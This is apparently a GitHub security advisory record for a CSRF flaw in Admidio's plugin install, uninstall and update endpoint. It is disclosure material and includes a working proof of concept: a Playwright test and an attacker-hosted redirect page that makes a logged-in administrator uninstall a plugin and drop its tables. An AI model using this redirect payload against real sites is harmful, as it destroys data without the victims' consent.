{"id":"GHSA-hm42-q32m-vj4f","summary":"Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests","details":"## Summary\n\nThe `modules/plugins.php` endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include `SameSite=Lax` session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.\n\n## Details\n\n`modules/plugins.php` reads the `mode` (install, uninstall, update) and `name` parameters directly from `$_GET`:\n\n```php\n// modules/plugins.php\n$mode = admFuncVariableIsValid($_GET, 'mode', 'string');\n$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');\n```\n\nThe file contains zero calls to `SecurityUtils::validateCsrfToken()`. Other administrative operations in the same codebase (such as the `save` mode in preferences) validate CSRF tokens correctly.\n\nBecause the operations use GET requests, modern browsers send `SameSite=Lax` cookies on top-level GET navigations (link clicks, redirects, `window.location` assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.\n\nThe `doUninstall()` function is the most destructive path. It executes SQL scripts from the plugin's `db_scripts/` directory, which contain `DROP TABLE` statements:\n\n```php\n// modules/plugins.php - doUninstall()\nfunction doUninstall($pluginFolder) {\n    // Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql\n    // Contains DROP TABLE statements\n}\n```\n\n## Proof of Concept\n\nThe following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:\n\n```javascript\n// playwright-csrf-poc.js\nconst { test, expect } = require('@playwright/test');\n\ntest('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) =\u003e {\n    const context = await browser.newContext();\n    const page = await context.newPage();\n\n    // Step 1: Admin logs in to Admidio\n    await page.goto('https://admidio.example.com/adm_program/system/login.php');\n    await page.fill('#usr_login_name', 'admin');\n    await page.fill('#usr_password', 'password');\n    await page.click('#btn_login');\n    await page.waitForURL('**/overview.php');\n\n    // Step 2: Admin visits attacker-controlled page on different origin\n    // The attacker page contains:\n    //   \u003cscript\u003ewindow.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';\u003c/script\u003e\n    await page.goto('https://attacker.example.com/csrf.html');\n\n    // Step 3: Browser follows redirect with SameSite=Lax cookies\n    // The birthday plugin is uninstalled, its database tables dropped\n    await page.waitForURL('**/plugins.php*');\n\n    // Verify the plugin was uninstalled\n    await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');\n    const content = await page.content();\n    expect(content).not.toContain('birthday');\n});\n```\n\nSimplified attacker page (`csrf.html` hosted on attacker origin):\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\n  window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.\n\n## Impact\n\nAn unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The `uninstall` operation executes DROP TABLE statements, causing irreversible data loss. The `install` operation activates plugins with known vulnerabilities. The `update` operation disrupts plugin functionality. The victim only needs to visit a single page.\n\n## Recommended Fix\n\nSwitch plugin install, uninstall, and update operations from GET to POST requests. Add `SecurityUtils::validateCsrfToken()` checks to all state-changing operations in `modules/plugins.php`, consistent with the pattern used elsewhere in the codebase.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","aliases":["CVE-2026-53760"],"modified":"2026-07-09T14:11:38.652812Z","published":"2026-07-09T13:44:40Z","database_specific":{"cwe_ids":["CWE-352"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-07-09T13:44:40Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-hm42-q32m-vj4f"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.0.11"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.10","v5.0.11","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-hm42-q32m-vj4f/GHSA-hm42-q32m-vj4f.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L"}]}